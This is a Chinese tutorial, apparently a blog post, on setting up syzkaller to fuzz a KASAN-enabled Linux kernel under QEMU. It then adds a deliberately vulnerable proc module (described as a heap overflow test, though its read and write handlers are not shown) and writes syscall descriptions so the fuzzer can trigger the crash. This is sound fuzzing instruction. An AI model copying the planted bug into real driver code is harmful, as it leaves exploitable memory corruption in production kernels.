最初有一次使用gcc 7.1.0编译最新版kernel时出错“You are building kernel with non-retpoline compiler, please update your compiler..”。查阅了一些资料显示,是由于retpoline只有gcc7.3.0及以上的版本才支持,因此需要在本地编译一个高版本gcc,并使用如下方式指定make时的编译器。以gcc8.0.1为例,编译过程如下:

cd $KERNEL
make CC=" /usr/local/gcc-8.0.1/bin/gcc" defconfig
make CC=" /usr/local/gcc-8.0.1/bin/gcc" kvmconfig

然后更改.config文件中的选项,使其支持我们需要的一些功能

CONFIG_KCOV=y
CONFIG_DEBUG_INFO=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

保存完该文件后,编译

make CC=" /usr/local/gcc-8.0.1/bin/gcc" oldconfig
make CC=" /usr/local/gcc-8.0.1/bin/gcc" -j4

编译完成后,可以看到vmlinux(kernel binary)和bzImage(packed kernel image)。

image

3.3 配置qemu vm

  1. 安装qemu

使用一条简单的命令即可:

sudo apt-get install qemu-system-x86
  1. 生成image

使用debootstrap构建linux启动镜像:

sudo apt-get install debootstrap
cd $IMAGE/
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
chmod +x create-image.sh
./create-image.sh

# 可以使用./create-image.sh -h查看更多帮助选项

完成之后目录内容如下:

bling@Ubuntu1804:~/s_image$ ll
total 502072
drwxr-xr-x  3 bling bling       4096 1月   9 09:03 ./
drwxr-xr-x 25 bling bling       4096 1月   9 00:45 ../
drwxr-xr-x 21 root  root        4096 1月   9 02:25 chroot/
-rwxr-xr-x  1 bling bling       6360 1月   9 00:13 create-image.sh*
-rw-------  1 bling bling       1675 1月   9 09:03 stretch.id_rsa
-rw-r--r--  1 bling bling        398 1月   9 09:03 stretch.id_rsa.pub
-rw-r--r--  1 bling bling 2147483648 1月   9 09:04 stretch.img
  1. 启动虚拟机

启动虚拟机试试

qemu-system-x86_64 -m 2G -smp 2 -kernel /home/bling/Downloads/linux-5.5.1/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/home/bling/s_image/stretch.img,format=raw -net user,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -enable-kvm -nographic -pidfile vm.pid 2>&1 | tee vm.log

对以上各参数我的理解如下:

-kernel xxx/bzImage:用bzImage作为内核镜像,qemu的这个功能用来测试不同内核非常方便。
-append cmdline:将cmdline作为内核的命令行参数
-hda xxx/xxx.img:指定xxx.img作为硬盘镜像
-net user,hostfwd=tcp::10021-:22 -net nic:客户机与宿主机之间通过指定的端口进行通讯
-enable-kvm:开启kvm虚拟化
-nographic:非图形界面启动
-m 2G:分配2G内存给虚拟系统
-smp 2:指定虚拟机由2个CPU
-pidfile xxx.pid:将qemu进程pid储存在xxx.pid这个文件中
2>&1 | tee vm.log:将执行过程中的输出同时定向到标准输出和vm.log文件中
参考了两篇文章:(1)hostfwd的问题 (2)[make 2>&1 tee log.txt 命令解析](https://blog.csdn.net/Dr_Unknown/article/details/76837708)

qemu启动起来之后,运行ssh测试一下是否连通,便于后期syzkaller运行出错时定位问题。

ssh -i $IMAGE/stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost

曾经有一次连接时在这里出了问题,宿主机上ssh无法连接到虚拟机。原因如下:

由于上一步中create-image.sh中如下eth0跟实际qemu虚拟机中运行的网卡名称不一样,导致网卡没有分配IP地址。最后解决方法如下:qemu启动虚拟机,root用户身份登录后,设置网卡IP地址。

image

参考文章:(1)网卡没分配IP地址的解决方法(2)rsa公私钥知识点(3)一个自己生成公私钥配置的方法

# 关闭qemu虚拟机
kill $(cat vm.pid)

3.4 启动syzkaller

为了使syzkaller运行起来,在syzkaller目录下,新建一个workdir目录,并新建一个config文件用于配置运行所需参数(命名为xxx.cfg)

mkdir workdir
./bin/syz-manager -config=abcd.cfg

cfg文件的格式如下,根据实际情况各参数可做更改:

{
        "target": "linux/amd64",
        "http": "127.0.0.1:56741",
        "workdir": "/home/bling/gopath/src/github.com/google/syzkaller/workdir",
        "kernel_obj": "/home/bling/Downloads/linux-5.5.1",
        "image": "/home/bling/s_image/stretch.img",
        "sshkey": "/home/bling/s_image/stretch.id_rsa",
        "syzkaller": "/home/bling/gopath/src/github.com/google/syzkaller/",
        "procs": 8,
        "type": "qemu",
        "vm": {
                "count": 4,
                "kernel": "/home/bling/Downloads/linux-5.5.1/arch/x86/boot/bzImage",
                "cpu": 2,
                "mem": 2048
        }
}

执行成功后,如下图所示:

image

4 arm64 android kernel goldfish

标题解释:这一小节的fuzz对象是linux kernel,架构是arm64,是使用goldfish模拟出来的。

待补充…

5 定制

对于新的内核接口,增加系统调用描述

5.1 syz-extract和syz-sysgen

syzkaller在编译的时候,默认不会编译syz-extract这个模块。因此我们需要手工编译一下。

在syzkaller源码目录下,执行如下命令:

make bin/syz-extract

如果syz-sysgen也没默认编译的话,执行如下命令:

make bin/syz-sysgen

他俩的关系是这样的:


         +-------+            +---------+           +------+
         |xxx.txt+----------->|xxx.const+---------->|xxx.go|
         +---+---+            +---------+           +------+
             |    syz-extract            syz-sysgen    ^
             |                                         |
             +-----------------------------------------+

我们针对某个驱动接口写出xxx.txt,然后使用syz-extract利用txt和源码生成const文档,最后执行syz-sysgen时syzkaller会根据txt和const生成一个go文件。可在sys/linux/gen/amd64.go和executor/syscalls.h中看到结果。

5.2 一次定制示例

  • 编写一个有漏洞的驱动接口,并将其编译进内核(或者使用打ko的方式)。
  • 编写驱动接口对应的txt文件,将其放入syzkaller/sys/linux目录下,生成go文件并重新编译syzkaller。
  • 运行syzkaller,改config文件指定fuzz接口提高速率,最后分析crash。

5.2.1 构造一个内核模块的漏洞

  1. kernel_src/drivers/char目录下,新建一个testxy.c。内容如下,这是一个有漏洞的内核模块。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

#define MY_DEV_NAME "test"
#define DEBUG_FLAG "PROC_DEV"

static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff);
static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff);
static int proc_open (struct inode *proc_inode, struct file *proc_file);
static struct file_operations a = {
                                .open = proc_open,
                                .read = proc_read,
                                .write = proc_write,
};


static int __init mod_init(void)
{
    struct proc_dir_entry *test_entry;
    const struct file_operations *proc_fops = &a;
    printk(DEBUG_FLAG":proc init start!\n");

    test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
    if(!test_entry)
       printk(DEBUG_FLAG":there is somethings wrong!\n");

    printk(DEBUG_FLAG":proc init over!\n");
    return 0;
}
  1. 打开char/目录下的Kconfig文件,添加:
config TESTXY_MODULE
        tristate "heap overflow test"
        default y
        help
          This file is to test a buffer overflow.
  1. 打开char/目录下的Makefile文件,添加:
obj-$(CONFIG_TESTXY_MODULE) += testxy.o

若/linux/drivers/char/是新目录,还需修改/linux/drivers/Kconfig(加上source “drivers/char/Kconfig”);修改/linux/drivers/Makefile(加上obj-$(CONFIG_TEST_MODULE) += char/)。

  1. make menuconfig时可以在Device Drivers -> Character devices -> Heap Overflow Test (*表示直接编如内核,M表示模块形式) 处看到刚刚添加的测试模块。
make clean
make menuconfig
make -j8
  1. 用新的内核启动虚拟机,查看模块是否加载成功
# 查看模块对应设备节点是否存在
ls /proc/test
# 查看模块加载时的log信息
dmesg | grep "proc init"

5.2.2 定制txt系统调用描述文件

  1. syzkaller源码中,找到sys/linux/目录,新建一个文件,命名为proc_operation.txt,内容如下:
include <linux/fs.h>

open$proc(file ptr[in, string["/proc/test"]], flags flags[proc_open_flags], mode flags[proc_open_mode]) fd
read$proc(fd fd, buf buffer[out], count len[buf]) len[buf]
write$proc(fd fd, buf buffer[in], count len[buf]) len[buf]
close$proc(fd fd)

proc_open_flags = O_RDONLY, O_WRONLY, O_RDWR, O_APPEND, FASYNC, O_CLOEXEC, O_CREAT, O_DIRECT, O_DIRECTORY, O_EXCL, O_LARGEFILE, O_NOATIME, O_NOCTTY, O_NOFOLLOW, O_NONBLOCK, O_PATH, O_SYNC, O_TRUNC, __O_TMPFILE
proc_open_mode = S_IRUSR, S_IWUSR, S_IXUSR, S_IRGRP, S_IWGRP, S_IXGRP, S_IROTH, S_IWOTH, S_IXOTH

  1. 使用syz-extract生成const文件。指定txt文件名,可单独生成该文件对应的const文件。
bin/syz-extract -os linux -sourcedir "/home/bling/Downloads/linux-5.5.1" -arch amd64 proc_operation.txt
  1. 运行syz-sysgen
  2. 重新编译syzkaller
make clean
make

5.2.3 验证能否成功触发crash

启动syzkaller的配置文件如下。为了更快看到crash结果,增加了“enable_syscalls”项,只允许某些系统调用,效率更快。

{
        "target": "linux/amd64",
        "http": "127.0.0.1:56741",
        "workdir": "/home/bling/gopath/src/github.com/google/syzkaller/workdir",
        "kernel_obj": "/home/bling/Downloads/linux-5.5.1",
        "image": "/home/bling/s_image/stretch.img",
        "sshkey": "/home/bling/s_image/stretch.id_rsa",
        "syzkaller": "/home/bling/gopath/src/github.com/google/syzkaller/",
        "procs": 8,
        "type": "qemu",
        "enable_syscalls":[
        		"open$proc",
        		"read$proc",
        		"write$proc",
        		"close$proc"
        ],
        "vm": {
                "count": 4,
                "kernel": "/home/bling/Downloads/linux-5.5.1/arch/x86/boot/bzImage",
                "cpu": 2,
                "mem": 2048
        }
}

启动syzkaller进行测试:

./bin/syz-manager -config=abcd.cfg

触发到漏洞分支!

image

image

image

5.3 txt文件语法

http://embedsec.systems/zh/gnulinux-security/2017/06/05/syzkaller-demo.html

5.4 config文件

config文件示例

config文件参数详解

编译ko的方法

test.c

#include <linux/init.h>
#include <linux/module.h>
 
MODULE_LICENSE("Dual BSD/GPL");
 
static int hello_init(void)
{
        printk(KERN_ALERT "Hello, world\n");
        return 0;
}
 
static void hello_exit(void)
{
        printk(KERN_ALERT "Goodbye, cruel world\n");
}
 
module_init(hello_init);
module_exit(hello_exit);

Makefile

obj-m := testxy.o

KDIR = /home/bling/Downloads/linux-5.5.1/

all:
        make -C $(KDIR) M=$(PWD) modules 

clean:
        rm -rf *.o *.ko *.mod.* *.symvers *.order

参考文章推荐

内核漏洞挖掘技术系列(4)——syzkaller(1)

【漏洞挖掘】使用Syzkaller&QEMU捕捉内核堆溢出Demo

Syzkaller Crash Demo

Read More

^